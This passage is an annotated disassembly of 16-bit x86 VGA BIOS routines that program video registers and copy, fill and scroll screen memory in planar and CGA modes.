movzx si, byte [bp-012h] ; 0f b6 76 ee
sal si, 003h ; c1 e6 03
movzx si, byte [si+04636h] ; 0f b6 b4 36 46
movzx ax, byte [si+046bfh] ; 0f b6 84 bf 46
cmp bx, ax ; 39 c3
jnbe short 010afh ; 77 dc
imul si, bx, strict byte 00003h ; 6b f3 03
add si, di ; 01 fe
mov al, byte [si] ; 8a 04
mov dx, 003c9h ; ba c9 03
out DX, AL ; ee
mov al, byte [si+001h] ; 8a 44 01
out DX, AL ; ee
mov al, byte [si+002h] ; 8a 44 02
out DX, AL ; ee
jmp short 010b7h ; eb cf
test cl, 002h ; f6 c1 02
je short 010f5h ; 74 08
mov dx, 00100h ; ba 00 01
xor ax, ax ; 31 c0
call 00d2eh ; e8 39 fc
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
xor bx, bx ; 31 db
jmp short 01104h ; eb 05
cmp bx, strict byte 00013h ; 83 fb 13
jnbe short 0111bh ; 77 17
mov al, bl ; 88 d8
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
movzx si, byte [bp-00ch] ; 0f b6 76 f4
sal si, 006h ; c1 e6 06
add si, bx ; 01 de
mov al, byte [si+046e6h] ; 8a 84 e6 46
out DX, AL ; ee
inc bx ; 43
jmp short 010ffh ; eb e4
mov AL, strict byte 014h ; b0 14
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
xor al, al ; 30 c0
out DX, AL ; ee
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov AL, strict byte 003h ; b0 03
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
mov bx, strict word 00001h ; bb 01 00
jmp short 01138h ; eb 05
cmp bx, strict byte 00004h ; 83 fb 04
jnbe short 01152h ; 77 1a
mov al, bl ; 88 d8
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
movzx si, byte [bp-00ch] ; 0f b6 76 f4
sal si, 006h ; c1 e6 06
add si, bx ; 01 de
mov al, byte [si+046c7h] ; 8a 84 c7 46
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
inc bx ; 43
jmp short 01133h ; eb e1
xor bx, bx ; 31 db
jmp short 0115bh ; eb 05
cmp bx, strict byte 00008h ; 83 fb 08
jnbe short 01175h ; 77 1a
mov al, bl ; 88 d8
mov dx, 003ceh ; ba ce 03
out DX, AL ; ee
movzx si, byte [bp-00ch] ; 0f b6 76 f4
sal si, 006h ; c1 e6 06
add si, bx ; 01 de
mov al, byte [si+046fah] ; 8a 84 fa 46
mov dx, 003cfh ; ba cf 03
out DX, AL ; ee
inc bx ; 43
jmp short 01156h ; eb e1
movzx bx, byte [bp-012h] ; 0f b6 5e ee
sal bx, 003h ; c1 e3 03
cmp byte [bx+04631h], 001h ; 80 bf 31 46 01
jne short 01188h ; 75 05
mov dx, 003b4h ; ba b4 03
jmp short 0118bh ; eb 03
mov dx, 003d4h ; ba d4 03
mov word [bp-01ah], dx ; 89 56 e6
mov ax, strict word 00011h ; b8 11 00
out DX, ax ; ef
xor bx, bx ; 31 db
jmp short 0119bh ; eb 05
cmp bx, strict byte 00018h ; 83 fb 18
jnbe short 011b5h ; 77 1a
mov al, bl ; 88 d8
mov dx, word [bp-01ah] ; 8b 56 e6
out DX, AL ; ee
movzx si, byte [bp-00ch] ; 0f b6 76 f4
sal si, 006h ; c1 e6 06
mov di, si ; 89 f7
add di, bx ; 01 df
inc dx ; 42
mov al, byte [di+046cdh] ; 8a 85 cd 46
out DX, AL ; ee
inc bx ; 43
jmp short 01196h ; eb e1
mov al, byte [si+046cch] ; 8a 84 cc 46
mov dx, 003c2h ; ba c2 03
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp byte [bp-00eh], 000h ; 80 7e f2 00
jne short 0122eh ; 75 5f
movzx bx, byte [bp-012h] ; 0f b6 5e ee
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
jne short 011f0h ; 75 13
mov es, [bx+04633h] ; 8e 87 33 46
mov cx, 04000h ; b9 00 40
mov ax, 00720h ; b8 20 07
xor di, di ; 31 ff
cld ; fc
jcxz 011eeh ; e3 02
rep stosw ; f3 ab
jmp short 0122eh ; eb 3e
cmp byte [bp-010h], 00dh ; 80 7e f0 0d
jnc short 01208h ; 73 12
mov es, [bx+04633h] ; 8e 87 33 46
mov cx, 04000h ; b9 00 40
xor ax, ax ; 31 c0
xor di, di ; 31 ff
cld ; fc
jcxz 01206h ; e3 02
rep stosw ; f3 ab
jmp short 0122eh ; eb 26
mov AL, strict byte 002h ; b0 02
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov dx, 003c5h ; ba c5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-01ch], ax ; 89 46 e4
mov AL, strict byte 00fh ; b0 0f
out DX, AL ; ee
mov es, [bx+04633h] ; 8e 87 33 46
mov cx, 08000h ; b9 00 80
xor ax, ax ; 31 c0
xor di, di ; 31 ff
cld ; fc
jcxz 0122ah ; e3 02
rep stosw ; f3 ab
mov al, byte [bp-01ch] ; 8a 46 e4
out DX, AL ; ee
movzx si, byte [bp-010h] ; 0f b6 76 f0
mov bx, si ; 89 f3
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 28 1d
mov bx, word [bp-016h] ; 8b 5e ea
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 38 1d
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
sal bx, 006h ; c1 e3 06
mov bx, word [bx+046c6h] ; 8b 9f c6 46
mov dx, strict word 0004ch ; ba 4c 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 24 1d
mov bx, word [bp-01ah] ; 8b 5e e6
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 18 1d
movzx bx, byte [bp-018h] ; 0f b6 5e e8
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 ef 1c
mov bx, word [bp-014h] ; 8b 5e ec
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 ff 1c
mov al, byte [bp-00eh] ; 8a 46 f2
or AL, strict byte 060h ; 0c 60
movzx bx, al ; 0f b6 d8
mov dx, 00087h ; ba 87 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 d2 1c
mov bx, 000f9h ; bb f9 00
mov dx, 00088h ; ba 88 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 c6 1c
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 af 1c
and AL, strict byte 07fh ; 24 7f
movzx bx, al ; 0f b6 d8
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 af 1c
mov bx, strict word 00008h ; bb 08 00
mov dx, 0008ah ; ba 8a 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 a3 1c
mov cx, ds ; 8c d9
mov bx, 053d1h ; bb d1 53
mov dx, 000a8h ; ba a8 00
mov ax, strict word 00040h ; b8 40 00
call 02fa1h ; e8 d1 1c
cmp byte [bp-010h], 007h ; 80 7e f0 07
jnbe short 012feh ; 77 28
movzx bx, byte [si+07c5eh] ; 0f b6 9c 5e 7c
mov dx, strict word 00065h ; ba 65 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 81 1c
cmp byte [bp-010h], 006h ; 80 7e f0 06
jne short 012efh ; 75 05
mov dx, strict word 0003fh ; ba 3f 00
jmp short 012f2h ; eb 03
mov dx, strict word 00030h ; ba 30 00
movzx bx, dl ; 0f b6 da
mov dx, strict word 00066h ; ba 66 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 67 1c
movzx bx, byte [bp-012h] ; 0f b6 5e ee
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
jne short 01315h ; 75 09
mov dx, strict word 00007h ; ba 07 00
mov ax, strict word 00006h ; b8 06 00
call 00dbah ; e8 a5 fa
xor bx, bx ; 31 db
jmp short 0131eh ; eb 05
cmp bx, strict byte 00008h ; 83 fb 08
jnc short 01329h ; 73 0b
movzx ax, bl ; 0f b6 c3
xor dx, dx ; 31 d2
call 00e5eh ; e8 38 fb
inc bx ; 43
jmp short 01319h ; eb f0
xor ax, ax ; 31 c0
call 00f00h ; e8 d2 fb
movzx bx, byte [bp-012h] ; 0f b6 5e ee
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
jne short 0134ch ; 75 10
xor bl, bl ; 30 db
mov AL, strict byte 004h ; b0 04
mov AH, strict byte 011h ; b4 11
int 010h ; cd 10
xor bl, bl ; 30 db
mov AL, strict byte 003h ; b0 03
mov AH, strict byte 011h ; b4 11
int 010h ; cd 10
mov dx, 057edh ; ba ed 57
mov ax, strict word 0001fh ; b8 1f 00
call 00a00h ; e8 ab f6
mov ax, word [bp-014h] ; 8b 46 ec
cmp ax, strict word 00010h ; 3d 10 00
je short 01377h ; 74 1a
cmp ax, strict word 0000eh ; 3d 0e 00
je short 01372h ; 74 10
cmp ax, strict word 00008h ; 3d 08 00
jne short 0137ch ; 75 15
mov dx, 053edh ; ba ed 53
mov ax, strict word 00043h ; b8 43 00
call 00a00h ; e8 90 f6
jmp short 0137ch ; eb 0a
mov dx, 05bedh ; ba ed 5b
jmp short 0136ah ; eb f3
mov dx, 069edh ; ba ed 69
jmp short 0136ah ; eb ee
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
vgamem_copy_pl4_: ; 0xc1386 LB 0x76
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov bh, cl ; 88 cf
movzx di, dl ; 0f b6 fa
movzx cx, byte [bp+006h] ; 0f b6 4e 06
imul di, cx ; 0f af f9
movzx si, byte [bp+004h] ; 0f b6 76 04
imul di, si ; 0f af fe
xor ah, ah ; 30 e4
add di, ax ; 01 c7
mov word [bp-008h], di ; 89 7e f8
movzx di, bl ; 0f b6 fb
imul cx, di ; 0f af cf
imul cx, si ; 0f af ce
add cx, ax ; 01 c1
mov word [bp-006h], cx ; 89 4e fa
mov ax, 00105h ; b8 05 01
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
xor bl, bl ; 30 db
cmp bl, byte [bp+006h] ; 3a 5e 06
jnc short 013ech ; 73 29
movzx cx, bh ; 0f b6 cf
movzx si, bl ; 0f b6 f3
movzx ax, byte [bp+004h] ; 0f b6 46 04
imul ax, si ; 0f af c6
mov si, word [bp-008h] ; 8b 76 f8
add si, ax ; 01 c6
mov di, word [bp-006h] ; 8b 7e fa
add di, ax ; 01 c7
mov dx, 0a000h ; ba 00 a0
mov es, dx ; 8e c2
cld ; fc
jcxz 013e8h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
db 0feh, 0c3h
; inc bl ; fe c3
jmp short 013beh ; eb d2
mov ax, strict word 00005h ; b8 05 00
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
vgamem_fill_pl4_: ; 0xc13fc LB 0x61
push bp ; 55
mov bp, sp ; 89 e5
push di ; 57
push ax ; 50
push ax ; 50
mov byte [bp-004h], bl ; 88 5e fc
mov bh, cl ; 88 cf
movzx cx, dl ; 0f b6 ca
movzx dx, byte [bp+004h] ; 0f b6 56 04
imul cx, dx ; 0f af ca
movzx dx, bh ; 0f b6 d7
imul dx, cx ; 0f af d1
xor ah, ah ; 30 e4
add dx, ax ; 01 c2
mov word [bp-006h], dx ; 89 56 fa
mov ax, 00205h ; b8 05 02
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
xor bl, bl ; 30 db
cmp bl, byte [bp+004h] ; 3a 5e 04
jnc short 0144eh ; 73 22
movzx cx, byte [bp-004h] ; 0f b6 4e fc
movzx ax, byte [bp+006h] ; 0f b6 46 06
movzx dx, bl ; 0f b6 d3
movzx di, bh ; 0f b6 ff
imul di, dx ; 0f af fa
add di, word [bp-006h] ; 03 7e fa
mov dx, 0a000h ; ba 00 a0
mov es, dx ; 8e c2
cld ; fc
jcxz 0144ah ; e3 02
rep stosb ; f3 aa
db 0feh, 0c3h
; inc bl ; fe c3
jmp short 01427h ; eb d9
mov ax, strict word 00005h ; b8 05 00
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
lea sp, [bp-002h] ; 8d 66 fe
pop di ; 5f
pop bp ; 5d
retn 00004h ; c2 04 00
vgamem_copy_cga_: ; 0xc145d LB 0xa4
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov bh, cl ; 88 cf
movzx di, dl ; 0f b6 fa
movzx cx, byte [bp+006h] ; 0f b6 4e 06
imul di, cx ; 0f af f9
movzx si, byte [bp+004h] ; 0f b6 76 04
imul di, si ; 0f af fe
sar di, 1 ; d1 ff
xor ah, ah ; 30 e4
add di, ax ; 01 c7
mov word [bp-006h], di ; 89 7e fa
movzx di, bl ; 0f b6 fb
imul cx, di ; 0f af cf
imul si, cx ; 0f af f1
sar si, 1 ; d1 fe
add si, ax ; 01 c6
mov word [bp-008h], si ; 89 76 f8
xor bl, bl ; 30 db
cmp bl, byte [bp+006h] ; 3a 5e 06
jnc short 014f8h ; 73 61
test bl, 001h ; f6 c3 01
je short 014cdh ; 74 31
movzx cx, bh ; 0f b6 cf
movzx si, bl ; 0f b6 f3
sar si, 1 ; d1 fe
movzx ax, byte [bp+004h] ; 0f b6 46 04
imul ax, si ; 0f af c6
mov si, word [bp-006h] ; 8b 76 fa
add si, 02000h ; 81 c6 00 20
add si, ax ; 01 c6
mov di, word [bp-008h] ; 8b 7e f8
add di, 02000h ; 81 c7 00 20
add di, ax ; 01 c7
mov dx, 0b800h ; ba 00 b8
mov es, dx ; 8e c2
cld ; fc
jcxz 014cbh ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
jmp short 014f4h ; eb 27
movzx cx, bh ; 0f b6 cf
movzx ax, bl ; 0f b6 c3
sar ax, 1 ; d1 f8
movzx si, byte [bp+004h] ; 0f b6 76 04
imul ax, si ; 0f af c6
mov si, word [bp-006h] ; 8b 76 fa
add si, ax ; 01 c6
mov di, word [bp-008h] ; 8b 7e f8
add di, ax ; 01 c7
mov dx, 0b800h ; ba 00 b8
mov es, dx ; 8e c2
cld ; fc
jcxz 014f4h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
db 0feh, 0c3h
; inc bl ; fe c3
jmp short 01492h ; eb 9a
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
vgamem_fill_cga_: ; 0xc1501 LB 0x8a
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov byte [bp-006h], bl ; 88 5e fa
mov bh, cl ; 88 cf
movzx cx, dl ; 0f b6 ca
movzx dx, byte [bp+004h] ; 0f b6 56 04
imul dx, cx ; 0f af d1
movzx cx, bh ; 0f b6 cf
imul dx, cx ; 0f af d1
sar dx, 1 ; d1 fa
movzx si, al ; 0f b6 f0
add si, dx ; 01 d6
xor bl, bl ; 30 db
cmp bl, byte [bp+004h] ; 3a 5e 04
jnc short 01582h ; 73 57
test bl, 001h ; f6 c3 01
je short 0155fh ; 74 2f
movzx cx, byte [bp-006h] ; 0f b6 4e fa
movzx ax, byte [bp+006h] ; 0f b6 46 06
movzx dx, bl ; 0f b6 d3
sar dx, 1 ; d1 fa
mov word [bp-008h], dx ; 89 56 f8
movzx dx, bh ; 0f b6 d7
mov di, word [bp-008h] ; 8b 7e f8
imul di, dx ; 0f af fa
mov word [bp-008h], di ; 89 7e f8
lea di, [si+02000h] ; 8d bc 00 20
add di, word [bp-008h] ; 03 7e f8
mov dx, 0b800h ; ba 00 b8
mov es, dx ; 8e c2
cld ; fc
jcxz 0155dh ; e3 02
rep stosb ; f3 aa
jmp short 0157eh ; eb 1f
movzx cx, byte [bp-006h] ; 0f b6 4e fa
movzx ax, byte [bp+006h] ; 0f b6 46 06
movzx di, bl ; 0f b6 fb
sar di, 1 ; d1 ff
movzx dx, bh ; 0f b6 d7
imul di, dx ; 0f af fa
add di, si ; 01 f7
mov dx, 0b800h ; ba 00 b8
mov es, dx ; 8e c2
cld ; fc
jcxz 0157eh ; e3 02
rep stosb ; f3 aa
db 0feh, 0c3h
; inc bl ; fe c3
jmp short 01526h ; eb a4
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
biosfn_scroll_: ; 0xc158b LB 0x506
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00018h ; 83 ec 18
mov byte [bp-010h], al ; 88 46 f0
mov byte [bp-00ch], dl ; 88 56 f4
mov byte [bp-008h], bl ; 88 5e f8
mov byte [bp-006h], cl ; 88 4e fa
cmp bl, byte [bp+004h] ; 3a 5e 04
jnbe near 01a88h ; 0f 87 e2 04
cmp cl, byte [bp+006h] ; 3a 4e 06
jnbe near 01a88h ; 0f 87 db 04
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 a1 19
xor ah, ah ; 30 e4
call 02f30h ; e8 75 19
mov byte [bp-00eh], al ; 88 46 f2
cmp AL, strict byte 0ffh ; 3c ff
je near 01a88h ; 0f 84 c4 04
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 8a 19
movzx cx, al ; 0f b6 c8
inc cx ; 41
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 99 19
mov word [bp-016h], ax ; 89 46 ea
cmp byte [bp+008h], 0ffh ; 80 7e 08 ff
jne short 015efh ; 75 0c
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 6b 19
mov byte [bp+008h], al ; 88 46 08
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, cx ; 39 c8
jc short 015feh ; 72 07
mov al, cl ; 88 c8
db 0feh, 0c8h
; dec al ; fe c8
mov byte [bp+004h], al ; 88 46 04
movzx ax, byte [bp+006h] ; 0f b6 46 06
cmp ax, word [bp-016h] ; 3b 46 ea
jc short 0160fh ; 72 08
mov al, byte [bp-016h] ; 8a 46 ea
db 0feh, 0c8h
; dec al ; fe c8
mov byte [bp+006h], al ; 88 46 06
movzx ax, byte [bp-010h] ; 0f b6 46 f0
cmp ax, cx ; 39 c8
jbe short 0161bh ; 76 04
mov byte [bp-010h], 000h ; c6 46 f0 00
mov al, byte [bp+006h] ; 8a 46 06
sub al, byte [bp-006h] ; 2a 46 fa
db 0feh, 0c0h
; inc al ; fe c0
mov byte [bp-012h], al ; 88 46 ee
movzx si, byte [bp-00eh] ; 0f b6 76 f2
mov di, si ; 89 f7
sal di, 003h ; c1 e7 03
mov ax, word [bp-016h] ; 8b 46 ea
dec ax ; 48
mov word [bp-018h], ax ; 89 46 e8
mov ax, cx ; 89 c8
dec ax ; 48
mov word [bp-01ah], ax ; 89 46 e6
mov ax, word [bp-016h] ; 8b 46 ea
imul ax, cx ; 0f af c1
cmp byte [di+04630h], 000h ; 80 bd 30 46 00
jne near 017eah ; 0f 85 9f 01
mov dx, ax ; 89 c2
add dx, ax ; 01 c2
or dl, 0ffh ; 80 ca ff
movzx bx, byte [bp+008h] ; 0f b6 5e 08
inc dx ; 42
imul bx, dx ; 0f af da
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 0169ah ; 75 3a
cmp byte [bp-008h], 000h ; 80 7e f8 00
jne short 0169ah ; 75 34
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 0169ah ; 75 2e
movzx dx, byte [bp+004h] ; 0f b6 56 04
cmp dx, word [bp-01ah] ; 3b 56 e6
jne short 0169ah ; 75 25
movzx dx, byte [bp+006h] ; 0f b6 56 06
cmp dx, word [bp-018h] ; 3b 56 e8
jne short 0169ah ; 75 1c
movzx dx, byte [bp-00ch] ; 0f b6 56 f4
sal dx, 008h ; c1 e2 08
add dx, strict byte 00020h ; 83 c2 20
mov es, [di+04633h] ; 8e 85 33 46
mov cx, ax ; 89 c1
mov ax, dx ; 89 d0
mov di, bx ; 89 df
cld ; fc
jcxz 01697h ; e3 02
rep stosw ; f3 ab
jmp near 01a88h ; e9 ee 03
cmp byte [bp+00ah], 001h ; 80 7e 0a 01
jne near 0173fh ; 0f 85 9d 00
movzx ax, byte [bp-008h] ; 0f b6 46 f8
mov word [bp-014h], ax ; 89 46 ec
movzx dx, byte [bp+004h] ; 0f b6 56 04
cmp dx, word [bp-014h] ; 3b 56 ec
jc near 01a88h ; 0f 82 d4 03
movzx ax, byte [bp-010h] ; 0f b6 46 f0
add ax, word [bp-014h] ; 03 46 ec
cmp ax, dx ; 39 d0
jnbe short 016c5h ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 016f8h ; 75 33
movzx cx, byte [bp-012h] ; 0f b6 4e ee
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
sal ax, 008h ; c1 e0 08
add ax, strict word 00020h ; 05 20 00
mov si, word [bp-014h] ; 8b 76 ec
imul si, word [bp-016h] ; 0f af 76 ea
movzx dx, byte [bp-006h] ; 0f b6 56 fa
add dx, si ; 01 f2
add dx, dx ; 01 d2
mov di, bx ; 89 df
add di, dx ; 01 d7
movzx si, byte [bp-00eh] ; 0f b6 76 f2
sal si, 003h ; c1 e6 03
mov es, [si+04633h] ; 8e 84 33 46
cld ; fc
jcxz 016f6h ; e3 02
rep stosw ; f3 ab
jmp short 01739h ; eb 41
movzx dx, byte [bp-012h] ; 0f b6 56 ee
mov word [bp-01ch], dx ; 89 56 e4
mov dx, ax ; 89 c2
imul dx, word [bp-016h] ; 0f af 56 ea
movzx cx, byte [bp-006h] ; 0f b6 4e fa
add dx, cx ; 01 ca
add dx, dx ; 01 d2
movzx si, byte [bp-00eh] ; 0f b6 76 f2
sal si, 003h ; c1 e6 03
mov ax, word [si+04633h] ; 8b 84 33 46
mov si, word [bp-014h] ; 8b 76 ec
imul si, word [bp-016h] ; 0f af 76 ea
add cx, si ; 01 f1
add cx, cx ; 01 c9
mov di, bx ; 89 df
add di, cx ; 01 cf
mov cx, word [bp-01ch] ; 8b 4e e4
mov si, dx ; 89 d6
mov dx, ax ; 89 c2
mov es, ax ; 8e c0
cld ; fc
jcxz 01739h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsw ; f3 a5
pop DS ; 1f
inc word [bp-014h] ; ff 46 ec
jmp near 016a9h ; e9 6a ff
movzx ax, byte [bp+004h] ; 0f b6 46 04
mov word [bp-014h], ax ; 89 46 ec
movzx ax, byte [bp-008h] ; 0f b6 46 f8
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe near 01a88h ; 0f 87 37 03
movzx dx, byte [bp-008h] ; 0f b6 56 f8
movzx ax, byte [bp-010h] ; 0f b6 46 f0
add ax, dx ; 01 d0
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe short 01766h ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 01799h ; 75 33
movzx cx, byte [bp-012h] ; 0f b6 4e ee
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
sal ax, 008h ; c1 e0 08
add ax, strict word 00020h ; 05 20 00
mov si, word [bp-014h] ; 8b 76 ec
imul si, word [bp-016h] ; 0f af 76 ea
movzx dx, byte [bp-006h] ; 0f b6 56 fa
add dx, si ; 01 f2
add dx, dx ; 01 d2
mov di, bx ; 89 df
add di, dx ; 01 d7
movzx si, byte [bp-00eh] ; 0f b6 76 f2
sal si, 003h ; c1 e6 03
mov es, [si+04633h] ; 8e 84 33 46
cld ; fc
jcxz 01797h ; e3 02
rep stosw ; f3 ab
jmp short 017d9h ; eb 40
movzx cx, byte [bp-012h] ; 0f b6 4e ee
movzx ax, byte [bp-010h] ; 0f b6 46 f0
mov dx, word [bp-014h] ; 8b 56 ec
sub dx, ax ; 29 c2
imul dx, word [bp-016h] ; 0f af 56 ea
movzx di, byte [bp-006h] ; 0f b6 7e fa
add dx, di ; 01 fa
add dx, dx ; 01 d2
movzx si, byte [bp-00eh] ; 0f b6 76 f2
sal si, 003h ; c1 e6 03
mov ax, word [si+04633h] ; 8b 84 33 46
mov si, word [bp-014h] ; 8b 76 ec
imul si, word [bp-016h] ; 0f af 76 ea
add di, si ; 01 f7
add di, di ; 01 ff
add di, bx ; 01 df
mov si, dx ; 89 d6
mov dx, ax ; 89 c2
mov es, ax ; 8e c0
cld ; fc
jcxz 017d9h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsw ; f3 a5
pop DS ; 1f
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, word [bp-014h] ; 3b 46 ec
jc near 01a88h ; 0f 82 a4 02
dec word [bp-014h] ; ff 4e ec
jmp near 01746h ; e9 5c ff
movzx bx, byte [si+046afh] ; 0f b6 9c af 46
sal bx, 006h ; c1 e3 06
mov dl, byte [bx+046c5h] ; 8a 97 c5 46
mov byte [bp-00ah], dl ; 88 56 f6
mov bl, byte [di+04631h] ; 8a 9d 31 46
cmp bl, 004h ; 80 fb 04
je short 01811h ; 74 0f
cmp bl, 003h ; 80 fb 03
je short 01811h ; 74 0a
cmp bl, 002h ; 80 fb 02
je near 01950h ; 0f 84 42 01
jmp near 01a88h ; e9 77 02
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 01869h ; 75 52
cmp byte [bp-008h], 000h ; 80 7e f8 00
jne short 01869h ; 75 4c
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 01869h ; 75 46
movzx dx, byte [bp+004h] ; 0f b6 56 04
mov ax, cx ; 89 c8
dec ax ; 48
cmp dx, ax ; 39 c2
jne short 01869h ; 75 3b
movzx dx, byte [bp+006h] ; 0f b6 56 06
mov ax, word [bp-016h] ; 8b 46 ea
dec ax ; 48
cmp dx, ax ; 39 c2
jne short 01869h ; 75 2f
mov ax, 00205h ; b8 05 02
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
imul cx, word [bp-016h] ; 0f af 4e ea
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
imul cx, ax ; 0f af c8
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
movzx bx, byte [bp-00eh] ; 0f b6 5e f2
sal bx, 003h ; c1 e3 03
mov es, [bx+04633h] ; 8e 87 33 46
xor di, di ; 31 ff
cld ; fc
jcxz 01862h ; e3 02
rep stosb ; f3 aa
mov ax, strict word 00005h ; b8 05 00
out DX, ax ; ef
jmp near 01a88h ; e9 1f 02
cmp byte [bp+00ah], 001h ; 80 7e 0a 01
jne short 018d8h ; 75 69
movzx ax, byte [bp-008h] ; 0f b6 46 f8
mov word [bp-014h], ax ; 89 46 ec
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, word [bp-014h] ; 3b 46 ec
jc near 01a88h ; 0f 82 07 02
movzx dx, byte [bp-010h] ; 0f b6 56 f0
add dx, word [bp-014h] ; 03 56 ec
cmp dx, ax ; 39 c2
jnbe short 01892h ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 018b1h ; 75 1f
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
push ax ; 50
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx cx, byte [bp-016h] ; 0f b6 4e ea
movzx bx, byte [bp-012h] ; 0f b6 5e ee
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 013fch ; e8 4d fb
jmp short 018d3h ; eb 22
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-012h] ; 0f b6 4e ee
movzx bx, byte [bp-014h] ; 0f b6 5e ec
mov al, byte [bp-014h] ; 8a 46 ec
add al, byte [bp-010h] ; 02 46 f0
movzx dx, al ; 0f b6 d0
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 01386h ; e8 b3 fa
inc word [bp-014h] ; ff 46 ec
jmp short 01876h ; eb 9e
movzx ax, byte [bp+004h] ; 0f b6 46 04
mov word [bp-014h], ax ; 89 46 ec
movzx ax, byte [bp-008h] ; 0f b6 46 f8
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe near 01a88h ; 0f 87 9e 01
movzx ax, byte [bp-008h] ; 0f b6 46 f8
movzx dx, byte [bp-010h] ; 0f b6 56 f0
add ax, dx ; 01 d0
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe short 018ffh ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 0191eh ; 75 1f
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
push ax ; 50
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx cx, byte [bp-016h] ; 0f b6 4e ea
